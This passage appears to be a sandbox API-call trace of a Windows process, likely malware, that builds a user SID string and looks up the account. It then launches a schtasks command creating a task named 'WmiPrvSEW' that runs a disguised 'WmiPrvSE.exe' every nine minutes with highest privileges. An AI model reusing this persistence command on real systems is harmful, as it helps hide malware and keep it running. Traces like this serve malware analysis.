(param_1="S-1-5-21-") returned 0x9 [0088.728] SysStringLen (param_1="4219442223") returned 0xa [0088.728] memcpy (in: _Dst=0x3382c8, _Src=0x381328, _Size=0x14 | out: _Dst=0x3382c8) returned 0x3382c8 [0088.728] memcpy (in: _Dst=0x3382da, _Src=0x3810e8, _Size=0x16 | out: _Dst=0x3382da) returned 0x3382da [0088.728] free (_Block=0xeef60) [0088.728] free (_Block=0xeef20) [0088.728] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee260 [0088.728] _ultow (in: _Dest=0xfbc24a41, _Radix=15453168 | out: _Dest=0xfbc24a41) returned="4223814209" [0088.728] malloc (_Size=0x18) returned 0xeef20 [0088.728] malloc (_Size=0x18) returned 0xeef60 [0088.728] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0088.728] SysStringLen (param_1="-") returned 0x1 [0088.729] memcpy (in: _Dst=0x337698, _Src=0x3382c8, _Size=0x28 | out: _Dst=0x337698) returned 0x337698 [0088.729] memcpy (in: _Dst=0x3376be, _Src=0x381328, _Size=0x4 | out: _Dst=0x3376be) returned 0x3376be [0088.729] free (_Block=0xef040) [0088.729] free (_Block=0xeef20) [0088.729] malloc (_Size=0x18) returned 0xeef20 [0088.729] malloc (_Size=0x18) returned 0xef040 [0088.729] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0088.729] SysStringLen (param_1="4223814209") returned 0xa [0088.729] memcpy (in: _Dst=0x34dd98, _Src=0x337698, _Size=0x2a | out: _Dst=0x34dd98) returned 0x34dd98 [0088.729] memcpy (in: _Dst=0x34ddc0, _Src=0x381328, _Size=0x16 | out: _Dst=0x34ddc0) returned 0x34ddc0 [0088.729] free (_Block=0xeef60) [0088.729] free (_Block=0xeef20) [0088.729] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee264 [0088.729] _ultow (in: _Dest=0xe49636b4, _Radix=15453168 | out: _Dest=0xe49636b4) returned="3835049652" [0088.729] malloc (_Size=0x18) returned 0xeef20 [0088.729] malloc (_Size=0x18) returned 0xeef60 [0088.729] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0088.729] SysStringLen (param_1="-") returned 0x1 [0088.730] memcpy (in: _Dst=0x34da68, _Src=0x34dd98, _Size=0x3e | out: _Dst=0x34da68) returned 0x34da68 [0088.730] memcpy (in: _Dst=0x34daa4, _Src=0x381328, _Size=0x4 | out: _Dst=0x34daa4) returned 0x34daa4 [0088.730] free (_Block=0xef040) [0088.730] free (_Block=0xeef20) [0088.730] malloc (_Size=0x18) returned 0xeef20 [0088.730] malloc (_Size=0x18) returned 0xef040 [0088.730] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0088.730] SysStringLen (param_1="3835049652") returned 0xa [0088.730] memcpy (in: _Dst=0x34dd98, _Src=0x34da68, _Size=0x40 | out: _Dst=0x34dd98) returned 0x34dd98 [0088.730] memcpy (in: _Dst=0x34ddd6, _Src=0x381328, _Size=0x16 | out: _Dst=0x34ddd6) returned 0x34ddd6 [0088.730] free (_Block=0xeef60) [0088.730] free (_Block=0xeef20) [0088.730] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee268 [0088.730] _ultow (in: _Dest=0x3e8, _Radix=15453168 | out: _Dest=0x3e8) returned="1000" [0088.730] malloc (_Size=0x18) returned 0xeef20 [0088.730] malloc (_Size=0x18) returned 0xeef60 [0088.730] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0088.730] SysStringLen (param_1="-") returned 0x1 [0088.730] memcpy (in: _Dst=0x34da68, _Src=0x34dd98, _Size=0x54 | out: _Dst=0x34da68) returned 0x34da68 [0088.731] memcpy (in: _Dst=0x34daba, _Src=0x381328, _Size=0x4 | out: _Dst=0x34daba) returned 0x34daba [0088.731] free (_Block=0xef040) [0088.731] free (_Block=0xeef20) [0088.731] malloc (_Size=0x18) returned 0xeef20 [0088.731] malloc (_Size=0x18) returned 0xef040 [0088.731] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0088.731] SysStringLen (param_1="1000") returned 0x4 [0088.731] memcpy (in: _Dst=0x34dd98, _Src=0x34da68, _Size=0x56 | out: _Dst=0x34dd98) returned 0x34dd98 [0088.731] memcpy (in: _Dst=0x34ddec, _Src=0x381328, _Size=0xa | out: _Dst=0x34ddec) returned 0x34ddec [0088.731] free (_Block=0xeef60) [0088.731] free (_Block=0xeef20) [0088.731] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0088.731] malloc (_Size=0x5e) returned 0xf0800 [0088.731] free (_Block=0xef040) [0088.731] malloc (_Size=0x18) returned 0xef040 [0088.732] free (_Block=0xf0800) [0088.732] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 0 [0088.733] GetLastError () returned 0x7a [0088.733] malloc (_Size=0x14) returned 0xeef20 [0088.733] malloc (_Size=0x16) returned 0xeef60 [0088.733] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xeef20, cchName=0xebccb4, ReferencedDomainName=0xeef60, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name="kEecfMwgj", cchName=0xebccb4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 1 [0088.734] malloc (_Size=0x18) returned 0xef020 [0088.734] malloc (_Size=0x18) returned 0xeef00 [0088.734] free (_Block=0xeef20) [0088.734] free (_Block=0xeef60) [0088.734] free (_Block=0xeff00) [0088.734] free (_Block=0xeef00) [0088.734] free (_Block=0xef020) [0088.734] free (_Block=0xef040) [0088.735] free (_Block=0xee240) [0088.735] malloc (_Size=0x48) returned 0xed270 [0088.735] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefced0000 [0088.766] GetProcAddress (hModule=0x7fefced0000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefced1080 [0088.767] GetProcAddress (hModule=0x7fefced0000, lpProcName="CreateEnvironmentBlock") returned 0x7fefced10b0 [0088.767] malloc (_Size=0x18) returned 0xef040 [0088.767] CreateEnvironmentBlock () returned 0x1 [0088.772] memcpy (in: _Dst=0xebcf20, _Src=0xebdcf0, _Size=0x68 | out: _Dst=0xebcf20) returned 0xebcf20 [0088.772] malloc (_Size=0x18) returned 0xef020 [0088.772] CreateProcessAsUserW (in: hToken=0x238, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"WmiPrvSEW\" /sc MINUTE /mo 9 /tr \"'C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x37b3d0, lpCurrentDirectory=0x0, lpStartupInfo=0xebcf20*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xebcdc0 | out: lpCommandLine="schtasks.exe /create /tn \"WmiPrvSEW\" /sc MINUTE /mo 9 /tr \"'C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe'\" /rl HIGHEST /f", lpProcessInformation=0xebcdc0*(hProcess=0x2fc, hThread=0x244, dwProcessId=0x944, dwThreadId=0x948)) returned 1 [0088.778] CloseHandle (hObject=0x2fc) returned 1 [0088.778] CloseHandle (hObject=0x244) returned 1 [0088.778] free (_Block=0xef020) [0088.778] DestroyEnvironmentBlock () returned 0x1 [0088.779] malloc (_Size=0x48) returned 0xed2c0 [0088.779] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x5de29e80, dwHighDateTime=0x1d9eb0c)) [0088.779] SetEvent (hEvent=0x1f0) returned 1 [0088.779] CloseHandle (hObject=0x234) returned 1 [0088.779] CloseHandle (hObject=0x238) returned 1 [0088.882] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x4) returned 0x31da80 [0088.882] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x31da80, pulNumLanguages=0xebe4d0 | out: pulNumLanguages=0xebe4d0) returned 1 [0088.882] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da80 | out: hHeap=0x2e0000) returned 1 [0089.539] SetLastError (dwErrCode=0x0) [0089.539] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0) returned 1 [0089.539] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da90 [0089.539] SetLastError (dwErrCode=0x0) [0089.539] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da90, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da90, pcchLanguagesBuffer=0xebe3e0) returned 1 [0089.540] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da80 [0089.540] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da90 | out: hHeap=0x2e0000) returned 1 [0089.540] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x14) returned 0x34eff0 [0089.540] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x34eff0, pulNumLanguages=0xebe4d8 | out: pulNumLanguages=0xebe4d8) returned 1 [0089.540] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x34eff0 | out: hHeap=0x2e0000) returned 1 [0089.542] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0089.543] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0089.543] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0089.543] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0089.543] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0089.543] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0089.543] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0089.545] memcpy (in: _Dst=0xebdcf0, _Src=0xebdc70, _Size=0x68 | out: _Dst=0xebdcf0) returned 0xebdcf0 [0089.545] GetCurrentThread () returned 0xfffffffffffffffe [0089.545] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xebce60 | out: TokenHandle=0xebce60*=0x238) returned 1 [0089.545] malloc (_Size=0xd8) returned 0xf4740 [0089.545] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7feffcb0000 [0089.546] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7feffcf8200 [0089.546] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaQueryInformationPolicy") returned 0x7feffcd20b0 [0089.546] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaNtStatusToWinError") returned 0x7feffcf7e40 [0089.546] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaFreeMemory") returned 0x7feffcbe390 [0089.546] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaOpenPolicy") returned 0x7feffcd0b40 [0089.546] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaClose") returned 0x7feffcd2040 [0089.546] GetProcAddress (hModule=0x7feffcb0000, lpProcName="QueryServiceStatusEx") returned 0x7feffcb7004 [0089.546] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DuplicateTokenEx") returned 0x7feffcbd310 [0089.547] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetSecurityDescriptorControl") returned 0x7feffcd3fe4 [0089.547] GetProcAddress (hModule=0x7feffcb0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7feffceb828 [0089.547] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7feffcbf924 [0089.547] GetProcAddress (hModule=0x7feffcb0000, lpProcName="CheckTokenMembership") returned 0x7feffcbd980 [0089.547] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7feffceba94 [0089.547] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7feffceba30 [0089.547] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAuditAccessObjectAce") returned 0x7feffceb9a8 [0089.548] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoW") returned 0x7feffcb89a0 [0089.548] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetNamedSecurityInfoW") returned 0x7feffcbf990 [0089.548] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7feffd0dc00 [0089.548] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7feffcf56a0 [0089.548] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7feffcf56f0 [0089.548] malloc (_Size=0x18) returned 0xef0a0 [0089.548] DuplicateTokenEx (in: hExistingToken=0x238, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xebce68 | out: phNewToken=0xebce68*=0x234) returned 1 [0089.548] malloc (_Size=0x48) returned 0xed400 [0089.548] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x5e5741e0, dwHighDateTime=0x1d9eb0c)) [0089.548] SetEvent (hEvent=0x1f0) returned 1 [0089.555] GetTokenInformation (in: TokenHandle=0x238, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebcd80 | out: TokenInformation=0x0, ReturnLength=0xebcd80) returned 0 [0089.555] GetLastError () returned 0x7a [0089.555] malloc (_Size=0x2c) returned 0xee200 [0089.555] GetTokenInformation (in: TokenHandle=0x238, TokenInformationClass=0x1, TokenInformation=0xee200, TokenInformationLength=0x2c, ReturnLength=0xebcd80 | out: TokenInformation=0xee200, ReturnLength=0xebcd80) returned 1 [0089.555] IsValidSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0089.555] GetLengthSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0089.555] malloc (_Size=0x1c) returned 0xeff60 [0089.555] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff60, pSourceSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0089.555] GetSidIdentifierAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee212 [0089.555] malloc (_Size=0x18) returned 0xef0a0 [0089.555] _ultow (in: _Dest=0x5, _Radix=15453152 | out: _Dest=0x5) returned="5" [0089.555] malloc (_Size=0x18) returned 0xef040 [0089.555] malloc (_Size=0x18) returned 0xef020 [0089.555] SysStringLen (param_1="S-1-") returned 0x4 [0089.555] SysStringLen (param_1="5") returned 0x1 [0089.556] memcpy (in: _Dst=0x3811a8, _Src=0x381178, _Size=0xa | out: _Dst=0x3811a8) returned 0x3811a8 [0089.556] memcpy (in: _Dst=0x3811b0, _Src=0x381628, _Size=0x4 | out: _Dst=0x3811b0) returned 0x3811b0 [0089.556] free (_Block=0xef0a0) [0089.556] free (_Block=0xef040) [0089.556] GetSidSubAuthorityCount (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee211 [0089.556] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee218 [0089.556] _ultow (in: _Dest=0x15, _Radix=15453152 | out: _Dest=0x15) returned="21" [0089.556] malloc (_Size=0x18) returned 0xef040 [0089.556] malloc (_Size=0x18) returned 0xef0a0 [0089.556] SysStringLen (param_1="S-1-5") returned 0x5 [0089.556] SysStringLen (param_1="-") returned 0x1 [0089.556] memcpy (in: _Dst=0x381628, _Src=0x3811a8, _Size=0xc | out: _Dst=0x381628) returned 0x381628 [0089.556] memcpy (in: _Dst=0x381632, _Src=0x381178, _Size=0x4 | out: _Dst=0x381632) returned 0x381632 [0089.556] free (_Block=0xef020) [0089.556] free (_Block=0xef040) [0089.556] malloc (_Size=0x18) returned 0xef040 [0089.556] malloc (_Size=0x18) returned 0xef020 [0089.556] SysStringLen (param_1="S-1-5-") returned 0x6 [0089.556] SysStringLen (param_1="21") returned 0x2 [0089.556] memcpy (in: _Dst=0x381178, _Src=0x381628, _Size=0xe | out: _Dst=0x381178) returned 0x381178 [0089.556] memcpy (in: _Dst=0x381184, _Src=0x3811a8, _Size=0x6 | out: _Dst=0x381184) returned 0x381184 [0089.556] free (_Block=0xef0a0) [0089.556] free (_Block=0xef040) [0089.556] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee21c [0089.557] _ultow (in: _Dest=0xfb7f942f, _Radix=15453152 | out: _Dest=0xfb7f942f) returned="4219442223" [0089.557] malloc (_Size=0x18) returned 0xef040 [0089.557] malloc (_Size=0x18) returned 0xef0a0 [0089.557] SysStringLen (param_1="S-1-5-21") returned 0x8 [0089.557] SysStringLen (param_1="-") returned 0x1 [0089.557] memcpy (in: _Dst=0x3811a8, _Src=0x381178, _Size=0x12 | out: _Dst=0x3811a8) returned 0x3811a8 [0089.557] memcpy (in: _Dst=0x3811b8, _Src=0x381628, _Size=0x4 | out: _Dst=0x3811b8) returned 0x3811b8 [0089.557] free (_Block=0xef020) [0089.557] free (_Block=0xef040) [0089.557] malloc (_Size=0x18) returned 0xef040 [0089.557] malloc (_Size=0x18) returned 0xef020 [0089.557] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0089.557] SysStringLen (param_1="4219442223") returned 0xa [0089.557] memcpy (in: _Dst=0x337af8, _Src=0x3811a8, _Size=0x14 | out: _Dst=0x337af8) returned 0x337af8 [0089.557] memcpy (in: _Dst=0x337b0a, _Src=0x381178, _Size=0x16 | out: _Dst=0x337b0a) returned 0x337b0a [0089.557] free (_Block=0xef0a0) [0089.557] free (_Block=0xef040) [0089.557] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee220 [0089.557] _ultow (in: _Dest=0xfbc24a41, _Radix=15453152 | out: _Dest=0xfbc24a41) returned="4223814209" [0089.557] malloc (_Size=0x18) returned 0xef040 [0089.557] malloc (_Size=0x18) returned 0xef0a0 [0089.557] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0089.557] SysStringLen (param_1="-") returned 0x1 [0089.557] memcpy (in: _Dst=0x337a58, _Src=0x337af8, _Size=0x28 | out: _Dst=0x337a58) returned 0x337a58 [0089.557] memcpy (in: _Dst=0x337a7e, _Src=0x3811a8, _Size=0x4 | out: _Dst=0x337a7e) returned 0x337a7e [0089.558] free (_Block=0xef020) [0089.558] free (_Block=0xef040) [0089.558] malloc (_Size=0x18) returned 0xef040 [0089.558] malloc (_Size=0x18) returned 0xef020 [0089.558] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0089.558] SysStringLen (param_1="4223814209") returned 0xa [0089.558] memcpy (in: _Dst=0x34d958, _Src=0x337a58, _Size=0x2a | out: _Dst=0x34d958) returned 0x34d958 [0089.558] memcpy (in: _Dst=0x34d980, _Src=0x3811a8, _Size=0x16 | out: _Dst=0x34d980) returned 0x34d980 [0089.558] free (_Block=0xef0a0) [0089.558] free (_Block=0xef040) [0089.558] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee224 [0089.558] _ultow (in: _Dest=0xe49636b4, _Radix=15453152 | out: _Dest=0xe49636b4) returned="3835049652" [0089.558] malloc (_Size=0x18) returned 0xef040 [0089.558] malloc (_Size=0x18) returned 0xef0a0 [0089.558] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0089.558] SysStringLen (param_1="-") returned 0x1 [0089.558] memcpy (in: _Dst=0x34dc88, _Src=0x34d958, _Size=0x3e | out: _Dst=0x34dc88) returned 0x34dc88 [0089.558] memcpy (in: _Dst=0x34dcc4, _Src=0x3811a8, _Size=0x4 | out: _Dst=0x34dcc4) returned 0x34dcc4 [0089.558] free (_Block=0xef020) [0089.558] free (_Block=0xef040) [0089.558] malloc (_Size=0x18) returned 0xef040 [0089.558] malloc (_Size=0x18) returned 0xef020 [0089.558] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0089.558] SysStringLen (param_1="3835049652") returned 0xa [0089.559] memcpy (in: _Dst=0x34d958, _Src=0x34dc88, _Size=0x40 | out: _Dst=0x34d958) returned 0x34d958 [0089.559] memcpy (in: _Dst=0x34d996, _Src=0x3811a8, _Size=0x16 | out: _Dst=0x34d996) returned 0x34d996 [0089.559] free (_Block=0xef0a0) [0089.559] free (_Block=0xef040) [0089.559] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee228 [0089.559] _ultow (in: _Dest=0x3e8, _Radix=15453152 | out: _Dest=0x3e8) returned="1000" [0089.559] malloc (_Size=0x18) returned 0xef040 [0089.559] malloc (_Size=0x18) returned 0xef0a0 [0089.559] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0089.559] SysStringLen (param_1="-") returned 0x1 [0089.559] memcpy (in: _Dst=0x34dc88, _Src=0x34d958, _Size=0x54 | out: _Dst=0x34dc88) returned 0x34dc88 [0089.559] memcpy (in: _Dst=0x34dcda, _Src=0x3811a8, _Size=0x4 | out: _Dst=0x34dcda) returned 0x34dcda [0089.559] free (_Block=0xef020) [0089.559] free (_Block=0xef040) [0089.559] malloc (_Size=0x18) returned 0xef040 [0089.559] malloc (_Size=0x18) returned 0xef020 [0089.559] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0089.559] SysStringLen (param_1="1000") returned 0x4 [0089.559] memcpy (in: _Dst=0x34d958, _Src=0x34dc88, _Size=0x56 | out: _Dst=0x34d958) returned 0x34d958 [0089.559] memcpy (in: _Dst=0x34d9ac, _Src=0x3811a8, _Size=0xa | out: _Dst=0x34d9ac) returned 0x34d9ac [0089.559] free (_Block=0xef0a0) [0089.559] free (_Block=0xef040) [0089.559] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0089.559] malloc (_Size=0x5e) returned 0xf0800 [0089.560] free (_Block=0xef020) [0089.560] malloc (_Size=0x18) returned 0xef020 [0089.560] free (_Block=0xf0800) [0089.560] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 0 [0089.561] GetLastError () returned 0x7a [0089.561] malloc (_Size=0x14) returned 0xef040 [0089.561] malloc (_Size=0x16) returned 0xef0a0 [0089.561] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xef040, cchName=0xebcca4, ReferencedDomainName=0xef0a0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name="kEecfMwgj", cchName=0xebcca4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 1 [0089.562] malloc (_Size=0x18) returned 0xeef00 [0089.562] malloc (_Size=0x18) returned 0xeef60 [0089.562] free (_Block=0xef040) [0089.562] free (_Block=0xef0a0) [0089.562] free (_Block=0xeff60) [0089.562] free (_Block=0xeef60) [0089.562] free (_Block=0xeef00) [0089.562] free (_Block=0xef020) [0089.563] free (_Block=0xee200) [0089.563] GetVersionExW (in: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x9d14, dwMinorVersion=0x32a120, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0089.563] GetTokenInformation (in: TokenHandle=0x238, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebce18 | out: TokenInformation=0x0, 